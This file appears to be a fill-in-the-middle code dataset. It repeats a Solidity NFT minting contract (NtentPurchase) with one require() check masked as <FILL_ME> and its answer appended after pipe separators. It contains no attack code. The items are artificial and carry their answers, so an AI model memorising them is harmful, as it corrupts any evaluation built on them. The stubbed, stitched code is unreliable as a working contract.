for (uint256 i; i < mintPassCount; i++) {
uint256 mintPassTokenId = _mintPassTokenIds[i];
rainbowListProjectId = getRainbowListProjectId(_projectId);
require(
ntentContract.tokenIdToProjectId(mintPassTokenId) ==
rainbowListProjectId,
"Mint pass not valid for this project"
);
require(
ntentContract.ownerOf(mintPassTokenId) == msg.sender,
"You don't own this mintpass"
);
uint256 successBurn = ntentContract.burn(
msg.sender,
mintPassTokenId
);
require(successBurn > 0, "Burn failed");
emit TokenBurned(msg.sender, mintPassTokenId);
}
}
uint256 tokenId = ntentContract.mint(
_purchasedForAddress,
_projectId,
mintPassCount,
msg.sender
);
require(tokenId > 0, "Mint failed");
if (projectMaxPerAddress[_projectId] > 0) {
projectAddressMints[_projectId][msg.sender] =
projectAddressMints[_projectId][msg.sender] +
mintPassCount;
}
}
function purchase(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithApe(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithGang(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithAsh(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
}
| hasRainbowlistedToken(msg.sender,_projectId)==true,"Not eligle for presale" | 243,850 | hasRainbowlistedToken(msg.sender,_projectId)==true |
"You will exceed max allowed mints" | pragma solidity ^0.8.9;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
pragma solidity ^0.8.9;
interface NtentArt {
function mint(
address _to,
uint256 _projectId,
uint256 quantity,
address _by
) external returns (uint256);
function burn(address ownerAddress, uint256 _tokenId)
external
returns (uint256);
function getPricePerTokenInWei(uint256 _projectId)
external
view
returns (uint256);
function projectTokenInfo(uint256 _projectId)
external
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
address transferContract,
bool acceptsMintPass,
uint256 mintPassProjectId
);
function tokenIdToProjectId(uint256 _tokenId)
external
view
returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function tokensOfOwner(address) external view returns (uint256[] memory);
function ntentPercentage() external view returns (uint256);
}
interface NtentArtGenesis {
function projectTokenInfo(uint256 _projectId)
external
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
bool acceptsMintPass,
uint256 mintPassProjectId
);
function tokenIdToProjectId(uint256 _tokenId)
external
view
returns (uint256);
function tokensOfOwner(address) external view returns (uint256[] memory);
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value)
external
returns (bool success);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool success);
function approve(address _spender, uint256 _value)
external
returns (bool success);
function allowance(address _owner, address _spender)
external
view
returns (uint256 remaining);
}
contract NtentPurchase is Ownable, ReentrancyGuard {
using SafeMath for uint256;
event TokenBurned(address indexed tokenOwner, uint256 indexed tokenId);
address public ntentGenesisTokenContractAddress;
address public ntentTokenContractAddress;
address public ntentSustainabilityFundAddress;
address public ntentCollectiveWalletAddress;
uint256 weiToEth = 10000000000000000;
ERC20 public ape;
ERC20 public gang;
ERC20 public ash;
mapping(uint256 => uint256) public projectApePrice;
mapping(uint256 => uint256) public projectGangPrice;
mapping(uint256 => uint256) public projectAshPrice;
uint256 sustainabilityFundPercentage = 10;
mapping(uint256 => bool) public isRainbowListedMinting;
mapping(uint256 => uint256) public projectMaxPerAddress;
mapping(uint256 => mapping(address => uint256)) public projectAddressMints;
mapping(uint256 => bool) public projectRequireBurnOnClaim;
constructor(
address _ntentGenesisTokenAddress,
address _ntentTokenAddress,
address _ntentFundAddress,
address _ntentCollectiveWalletAddress
) {
}
function updateNtentTokenAddress(address _newAddress) public onlyOwner {
}
function updateNtentGenesisTokenAddress(address _newAddress)
public
onlyOwner
{
}
function updateNtentSustainabilityFundAddress(address _newAddress)
public
onlyOwner
{
}
function updateNtentCollectiveWalletAddress(address _newAddress)
public
onlyOwner
{
}
function toggleRainbowListedMinting(uint256 _projectId) public onlyOwner {
}
function updateProjectMaxPerAddress(uint256 _projectId, uint256 _maxMints)
public
onlyOwner
{
}
function updateApeTokenAddress(address _newAddress) public onlyOwner {
}
function updateGangTokenAddress(address _newAddress) public onlyOwner {
}
function updateAshTokenAddress(address _newAddress) public onlyOwner {
}
function updateProjectTokenPrices(uint _projectId, uint _apeTokensPerMint, uint _gangTokensPerMint, uint _ashTokensPerMint) public onlyOwner{
}
function getTokenPrices(uint256 _projectId) public view returns (uint256 apeCoinPrice, uint256 gangCoinPrice, uint256 ashCoinPrice){
}
function getProjectMaxPerAddress(uint256 _projectId)
public
view
returns (uint256 maxMints){
}
function getRainbowListProjectId(uint256 _projectId)
public
view
returns (uint256 _rainbowListProjectId)
{
}
function hasRainbowlistedToken(
address _fromAdress,
uint256 _mintingProjectId
) public view returns (bool hasToken) {
}
function exceedsMaxMints(
address _fromAddress,
uint256 _projectId,
uint256 _tokenCount
) public view returns (bool exceeds) {
}
function isProjectRainbowListed(uint256 _projectId)
public
view
returns (bool isRainbowlisted)
{
}
function withdraw() public onlyOwner {
}
function teamMint(uint256 _projectId, uint256 _tokenQuantity)
public
onlyOwner
{
}
function claim(
address _purchasedForAddress,
uint256 _projectId,
uint256[] calldata _mintPassTokenIds
) public nonReentrant {
if (isProjectRainbowListed(_projectId) == true) {
require(
hasRainbowlistedToken(msg.sender, _projectId) == true,
"Not eligle for presale"
);
}
uint256 mintPassCount = _mintPassTokenIds.length;
require(mintPassCount > 0, "You don't have any mint passes");
require(<FILL_ME>)
NtentArt ntentContract = NtentArt(ntentTokenContractAddress);
uint256 rainbowListProjectId = getRainbowListProjectId(_projectId);
require(
rainbowListProjectId > 0,
"This project doesnt accept mint passes"
);
if (projectRequireBurnOnClaim[_projectId]) {
for (uint256 i; i < mintPassCount; i++) {
uint256 mintPassTokenId = _mintPassTokenIds[i];
rainbowListProjectId = getRainbowListProjectId(_projectId);
require(
ntentContract.tokenIdToProjectId(mintPassTokenId) ==
rainbowListProjectId,
"Mint pass not valid for this project"
);
require(
ntentContract.ownerOf(mintPassTokenId) == msg.sender,
"You don't own this mintpass"
);
uint256 successBurn = ntentContract.burn(
msg.sender,
mintPassTokenId
);
require(successBurn > 0, "Burn failed");
emit TokenBurned(msg.sender, mintPassTokenId);
}
}
uint256 tokenId = ntentContract.mint(
_purchasedForAddress,
_projectId,
mintPassCount,
msg.sender
);
require(tokenId > 0, "Mint failed");
if (projectMaxPerAddress[_projectId] > 0) {
projectAddressMints[_projectId][msg.sender] =
projectAddressMints[_projectId][msg.sender] +
mintPassCount;
}
}
function purchase(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithApe(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithGang(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithAsh(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
}
| exceedsMaxMints(msg.sender,_projectId,mintPassCount)==false,"You will exceed max allowed mints" | 243,850 | exceedsMaxMints(msg.sender,_projectId,mintPassCount)==false |
"Mint pass not valid for this project" | pragma solidity ^0.8.9;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
pragma solidity ^0.8.9;
interface NtentArt {
function mint(
address _to,
uint256 _projectId,
uint256 quantity,
address _by
) external returns (uint256);
function burn(address ownerAddress, uint256 _tokenId)
external
returns (uint256);
function getPricePerTokenInWei(uint256 _projectId)
external
view
returns (uint256);
function projectTokenInfo(uint256 _projectId)
external
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
address transferContract,
bool acceptsMintPass,
uint256 mintPassProjectId
);
function tokenIdToProjectId(uint256 _tokenId)
external
view
returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function tokensOfOwner(address) external view returns (uint256[] memory);
function ntentPercentage() external view returns (uint256);
}
interface NtentArtGenesis {
function projectTokenInfo(uint256 _projectId)
external
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
bool acceptsMintPass,
uint256 mintPassProjectId
);
function tokenIdToProjectId(uint256 _tokenId)
external
view
returns (uint256);
function tokensOfOwner(address) external view returns (uint256[] memory);
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value)
external
returns (bool success);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool success);
function approve(address _spender, uint256 _value)
external
returns (bool success);
function allowance(address _owner, address _spender)
external
view
returns (uint256 remaining);
}
contract NtentPurchase is Ownable, ReentrancyGuard {
using SafeMath for uint256;
event TokenBurned(address indexed tokenOwner, uint256 indexed tokenId);
address public ntentGenesisTokenContractAddress;
address public ntentTokenContractAddress;
address public ntentSustainabilityFundAddress;
address public ntentCollectiveWalletAddress;
uint256 weiToEth = 10000000000000000;
ERC20 public ape;
ERC20 public gang;
ERC20 public ash;
mapping(uint256 => uint256) public projectApePrice;
mapping(uint256 => uint256) public projectGangPrice;
mapping(uint256 => uint256) public projectAshPrice;
uint256 sustainabilityFundPercentage = 10;
mapping(uint256 => bool) public isRainbowListedMinting;
mapping(uint256 => uint256) public projectMaxPerAddress;
mapping(uint256 => mapping(address => uint256)) public projectAddressMints;
mapping(uint256 => bool) public projectRequireBurnOnClaim;
constructor(
address _ntentGenesisTokenAddress,
address _ntentTokenAddress,
address _ntentFundAddress,
address _ntentCollectiveWalletAddress
) {
}
function updateNtentTokenAddress(address _newAddress) public onlyOwner {
}
function updateNtentGenesisTokenAddress(address _newAddress)
public
onlyOwner
{
}
function updateNtentSustainabilityFundAddress(address _newAddress)
public
onlyOwner
{
}
function updateNtentCollectiveWalletAddress(address _newAddress)
public
onlyOwner
{
}
function toggleRainbowListedMinting(uint256 _projectId) public onlyOwner {
}
function updateProjectMaxPerAddress(uint256 _projectId, uint256 _maxMints)
public
onlyOwner
{
}
function updateApeTokenAddress(address _newAddress) public onlyOwner {
}
function updateGangTokenAddress(address _newAddress) public onlyOwner {
}
function updateAshTokenAddress(address _newAddress) public onlyOwner {
}
function updateProjectTokenPrices(uint _projectId, uint _apeTokensPerMint, uint _gangTokensPerMint, uint _ashTokensPerMint) public onlyOwner{
}
function getTokenPrices(uint256 _projectId) public view returns (uint256 apeCoinPrice, uint256 gangCoinPrice, uint256 ashCoinPrice){
}
function getProjectMaxPerAddress(uint256 _projectId)
public
view
returns (uint256 maxMints){
}
function getRainbowListProjectId(uint256 _projectId)
public
view
returns (uint256 _rainbowListProjectId)
{
}
function hasRainbowlistedToken(
address _fromAdress,
uint256 _mintingProjectId
) public view returns (bool hasToken) {
}
function exceedsMaxMints(
address _fromAddress,
uint256 _projectId,
uint256 _tokenCount
) public view returns (bool exceeds) {
}
function isProjectRainbowListed(uint256 _projectId)
public
view
returns (bool isRainbowlisted)
{
}
function withdraw() public onlyOwner {
}
function teamMint(uint256 _projectId, uint256 _tokenQuantity)
public
onlyOwner
{
}
function claim(
address _purchasedForAddress,
uint256 _projectId,
uint256[] calldata _mintPassTokenIds
) public nonReentrant {
if (isProjectRainbowListed(_projectId) == true) {
require(
hasRainbowlistedToken(msg.sender, _projectId) == true,
"Not eligle for presale"
);
}
uint256 mintPassCount = _mintPassTokenIds.length;
require(mintPassCount > 0, "You don't have any mint passes");
require(
exceedsMaxMints(msg.sender, _projectId, mintPassCount) == false,
"You will exceed max allowed mints"
);
NtentArt ntentContract = NtentArt(ntentTokenContractAddress);
uint256 rainbowListProjectId = getRainbowListProjectId(_projectId);
require(
rainbowListProjectId > 0,
"This project doesnt accept mint passes"
);
if (projectRequireBurnOnClaim[_projectId]) {
for (uint256 i; i < mintPassCount; i++) {
uint256 mintPassTokenId = _mintPassTokenIds[i];
rainbowListProjectId = getRainbowListProjectId(_projectId);
require(<FILL_ME>)
require(
ntentContract.ownerOf(mintPassTokenId) == msg.sender,
"You don't own this mintpass"
);
uint256 successBurn = ntentContract.burn(
msg.sender,
mintPassTokenId
);
require(successBurn > 0, "Burn failed");
emit TokenBurned(msg.sender, mintPassTokenId);
}
}
uint256 tokenId = ntentContract.mint(
_purchasedForAddress,
_projectId,
mintPassCount,
msg.sender
);
require(tokenId > 0, "Mint failed");
if (projectMaxPerAddress[_projectId] > 0) {
projectAddressMints[_projectId][msg.sender] =
projectAddressMints[_projectId][msg.sender] +
mintPassCount;
}
}
function purchase(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithApe(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithGang(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithAsh(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
}
| ntentContract.tokenIdToProjectId(mintPassTokenId)==rainbowListProjectId,"Mint pass not valid for this project" | 243,850 | ntentContract.tokenIdToProjectId(mintPassTokenId)==rainbowListProjectId |
"You don't own this mintpass" | pragma solidity ^0.8.9;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
pragma solidity ^0.8.9;
interface NtentArt {
function mint(
address _to,
uint256 _projectId,
uint256 quantity,
address _by
) external returns (uint256);
function burn(address ownerAddress, uint256 _tokenId)
external
returns (uint256);
function getPricePerTokenInWei(uint256 _projectId)
external
view
returns (uint256);
function projectTokenInfo(uint256 _projectId)
external
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
address transferContract,
bool acceptsMintPass,
uint256 mintPassProjectId
);
function tokenIdToProjectId(uint256 _tokenId)
external
view
returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function tokensOfOwner(address) external view returns (uint256[] memory);
function ntentPercentage() external view returns (uint256);
}
interface NtentArtGenesis {
function projectTokenInfo(uint256 _projectId)
external
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
bool acceptsMintPass,
uint256 mintPassProjectId
);
function tokenIdToProjectId(uint256 _tokenId)
external
view
returns (uint256);
function tokensOfOwner(address) external view returns (uint256[] memory);
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value)
external
returns (bool success);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool success);
function approve(address _spender, uint256 _value)
external
returns (bool success);
function allowance(address _owner, address _spender)
external
view
returns (uint256 remaining);
}
contract NtentPurchase is Ownable, ReentrancyGuard {
using SafeMath for uint256;
event TokenBurned(address indexed tokenOwner, uint256 indexed tokenId);
address public ntentGenesisTokenContractAddress;
address public ntentTokenContractAddress;
address public ntentSustainabilityFundAddress;
address public ntentCollectiveWalletAddress;
uint256 weiToEth = 10000000000000000;
ERC20 public ape;
ERC20 public gang;
ERC20 public ash;
mapping(uint256 => uint256) public projectApePrice;
mapping(uint256 => uint256) public projectGangPrice;
mapping(uint256 => uint256) public projectAshPrice;
uint256 sustainabilityFundPercentage = 10;
mapping(uint256 => bool) public isRainbowListedMinting;
mapping(uint256 => uint256) public projectMaxPerAddress;
mapping(uint256 => mapping(address => uint256)) public projectAddressMints;
mapping(uint256 => bool) public projectRequireBurnOnClaim;
constructor(
address _ntentGenesisTokenAddress,
address _ntentTokenAddress,
address _ntentFundAddress,
address _ntentCollectiveWalletAddress
) {
}
function updateNtentTokenAddress(address _newAddress) public onlyOwner {
}
function updateNtentGenesisTokenAddress(address _newAddress)
public
onlyOwner
{
}
function updateNtentSustainabilityFundAddress(address _newAddress)
public
onlyOwner
{
}
function updateNtentCollectiveWalletAddress(address _newAddress)
public
onlyOwner
{
}
function toggleRainbowListedMinting(uint256 _projectId) public onlyOwner {
}
function updateProjectMaxPerAddress(uint256 _projectId, uint256 _maxMints)
public
onlyOwner
{
}
function updateApeTokenAddress(address _newAddress) public onlyOwner {
}
function updateGangTokenAddress(address _newAddress) public onlyOwner {
}
function updateAshTokenAddress(address _newAddress) public onlyOwner {
}
function updateProjectTokenPrices(uint _projectId, uint _apeTokensPerMint, uint _gangTokensPerMint, uint _ashTokensPerMint) public onlyOwner{
}
function getTokenPrices(uint256 _projectId) public view returns (uint256 apeCoinPrice, uint256 gangCoinPrice, uint256 ashCoinPrice){
}
function getProjectMaxPerAddress(uint256 _projectId)
public
view
returns (uint256 maxMints){
}
function getRainbowListProjectId(uint256 _projectId)
public
view
returns (uint256 _rainbowListProjectId)
{
}
function hasRainbowlistedToken(
address _fromAdress,
uint256 _mintingProjectId
) public view returns (bool hasToken) {
}
function exceedsMaxMints(
address _fromAddress,
uint256 _projectId,
uint256 _tokenCount
) public view returns (bool exceeds) {
}
function isProjectRainbowListed(uint256 _projectId)
public
view
returns (bool isRainbowlisted)
{
}
function withdraw() public onlyOwner {
}
function teamMint(uint256 _projectId, uint256 _tokenQuantity)
public
onlyOwner
{
}
function claim(
address _purchasedForAddress,
uint256 _projectId,
uint256[] calldata _mintPassTokenIds
) public nonReentrant {
if (isProjectRainbowListed(_projectId) == true) {
require(
hasRainbowlistedToken(msg.sender, _projectId) == true,
"Not eligle for presale"
);
}
uint256 mintPassCount = _mintPassTokenIds.length;
require(mintPassCount > 0, "You don't have any mint passes");
require(
exceedsMaxMints(msg.sender, _projectId, mintPassCount) == false,
"You will exceed max allowed mints"
);
NtentArt ntentContract = NtentArt(ntentTokenContractAddress);
uint256 rainbowListProjectId = getRainbowListProjectId(_projectId);
require(
rainbowListProjectId > 0,
"This project doesnt accept mint passes"
);
if (projectRequireBurnOnClaim[_projectId]) {
for (uint256 i; i < mintPassCount; i++) {
uint256 mintPassTokenId = _mintPassTokenIds[i];
rainbowListProjectId = getRainbowListProjectId(_projectId);
require(
ntentContract.tokenIdToProjectId(mintPassTokenId) ==
rainbowListProjectId,
"Mint pass not valid for this project"
);
require(<FILL_ME>)
uint256 successBurn = ntentContract.burn(
msg.sender,
mintPassTokenId
);
require(successBurn > 0, "Burn failed");
emit TokenBurned(msg.sender, mintPassTokenId);
}
}
uint256 tokenId = ntentContract.mint(
_purchasedForAddress,
_projectId,
mintPassCount,
msg.sender
);
require(tokenId > 0, "Mint failed");
if (projectMaxPerAddress[_projectId] > 0) {
projectAddressMints[_projectId][msg.sender] =
projectAddressMints[_projectId][msg.sender] +
mintPassCount;
}
}
function purchase(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithApe(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithGang(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithAsh(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
}
| ntentContract.ownerOf(mintPassTokenId)==msg.sender,"You don't own this mintpass" | 243,850 | ntentContract.ownerOf(mintPassTokenId)==msg.sender |
"You will exceed max allowed mints" | pragma solidity ^0.8.9;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
pragma solidity ^0.8.9;
interface NtentArt {
function mint(
address _to,
uint256 _projectId,
uint256 quantity,
address _by
) external returns (uint256);
function burn(address ownerAddress, uint256 _tokenId)
external
returns (uint256);
function getPricePerTokenInWei(uint256 _projectId)
external
view
returns (uint256);
function projectTokenInfo(uint256 _projectId)
external
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
address transferContract,
bool acceptsMintPass,
uint256 mintPassProjectId
);
function tokenIdToProjectId(uint256 _tokenId)
external
view
returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function tokensOfOwner(address) external view returns (uint256[] memory);
function ntentPercentage() external view returns (uint256);
}
interface NtentArtGenesis {
function projectTokenInfo(uint256 _projectId)
external
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
bool acceptsMintPass,
uint256 mintPassProjectId
);
function tokenIdToProjectId(uint256 _tokenId)
external
view
returns (uint256);
function tokensOfOwner(address) external view returns (uint256[] memory);
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value)
external
returns (bool success);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool success);
function approve(address _spender, uint256 _value)
external
returns (bool success);
function allowance(address _owner, address _spender)
external
view
returns (uint256 remaining);
}
contract NtentPurchase is Ownable, ReentrancyGuard {
using SafeMath for uint256;
event TokenBurned(address indexed tokenOwner, uint256 indexed tokenId);
address public ntentGenesisTokenContractAddress;
address public ntentTokenContractAddress;
address public ntentSustainabilityFundAddress;
address public ntentCollectiveWalletAddress;
uint256 weiToEth = 10000000000000000;
ERC20 public ape;
ERC20 public gang;
ERC20 public ash;
mapping(uint256 => uint256) public projectApePrice;
mapping(uint256 => uint256) public projectGangPrice;
mapping(uint256 => uint256) public projectAshPrice;
uint256 sustainabilityFundPercentage = 10;
mapping(uint256 => bool) public isRainbowListedMinting;
mapping(uint256 => uint256) public projectMaxPerAddress;
mapping(uint256 => mapping(address => uint256)) public projectAddressMints;
mapping(uint256 => bool) public projectRequireBurnOnClaim;
constructor(
address _ntentGenesisTokenAddress,
address _ntentTokenAddress,
address _ntentFundAddress,
address _ntentCollectiveWalletAddress
) {
}
function updateNtentTokenAddress(address _newAddress) public onlyOwner {
}
function updateNtentGenesisTokenAddress(address _newAddress)
public
onlyOwner
{
}
function updateNtentSustainabilityFundAddress(address _newAddress)
public
onlyOwner
{
}
function updateNtentCollectiveWalletAddress(address _newAddress)
public
onlyOwner
{
}
function toggleRainbowListedMinting(uint256 _projectId) public onlyOwner {
}
function updateProjectMaxPerAddress(uint256 _projectId, uint256 _maxMints)
public
onlyOwner
{
}
function updateApeTokenAddress(address _newAddress) public onlyOwner {
}
function updateGangTokenAddress(address _newAddress) public onlyOwner {
}
function updateAshTokenAddress(address _newAddress) public onlyOwner {
}
function updateProjectTokenPrices(uint _projectId, uint _apeTokensPerMint, uint _gangTokensPerMint, uint _ashTokensPerMint) public onlyOwner{
}
function getTokenPrices(uint256 _projectId) public view returns (uint256 apeCoinPrice, uint256 gangCoinPrice, uint256 ashCoinPrice){
}
function getProjectMaxPerAddress(uint256 _projectId)
public
view
returns (uint256 maxMints){
}
function getRainbowListProjectId(uint256 _projectId)
public
view
returns (uint256 _rainbowListProjectId)
{
}
function hasRainbowlistedToken(
address _fromAdress,
uint256 _mintingProjectId
) public view returns (bool hasToken) {
}
function exceedsMaxMints(
address _fromAddress,
uint256 _projectId,
uint256 _tokenCount
) public view returns (bool exceeds) {
}
function isProjectRainbowListed(uint256 _projectId)
public
view
returns (bool isRainbowlisted)
{
}
function withdraw() public onlyOwner {
}
function teamMint(uint256 _projectId, uint256 _tokenQuantity)
public
onlyOwner
{
}
function claim(
address _purchasedForAddress,
uint256 _projectId,
uint256[] calldata _mintPassTokenIds
) public nonReentrant {
}
function purchase(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
if (isProjectRainbowListed(_projectId) == true) {
require(
hasRainbowlistedToken(msg.sender, _projectId) == true,
"Not eligle for presale"
);
}
require(<FILL_ME>)
NtentArt ntentContract = NtentArt(ntentTokenContractAddress);
uint256 tokenPrice = ntentContract.getPricePerTokenInWei(_projectId);
require(
tokenPrice.mul(_numberOfTokens) <= msg.value,
"Ether value sent is not correct"
);
uint256 tokenId = ntentContract.mint(
_purchasedForAddress,
_projectId,
_numberOfTokens,
msg.sender
);
require(tokenId > 0, "Mint failed");
if (projectMaxPerAddress[_projectId] > 0) {
projectAddressMints[_projectId][msg.sender] =
projectAddressMints[_projectId][msg.sender] +
_numberOfTokens;
}
}
function purchaseWithApe(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithGang(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
function purchaseWithAsh(
address _purchasedForAddress,
uint256 _projectId,
uint256 _numberOfTokens
) public payable nonReentrant {
}
}
| exceedsMaxMints(msg.sender,_projectId,_numberOfTokens)==false,"You will exceed max allowed mints" | 243,850 | exceedsMaxMints(msg.sender,_projectId,_numberOfTokens)==false |
"Ether value sent is not correct" | pragma solidity ^0.8.9;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
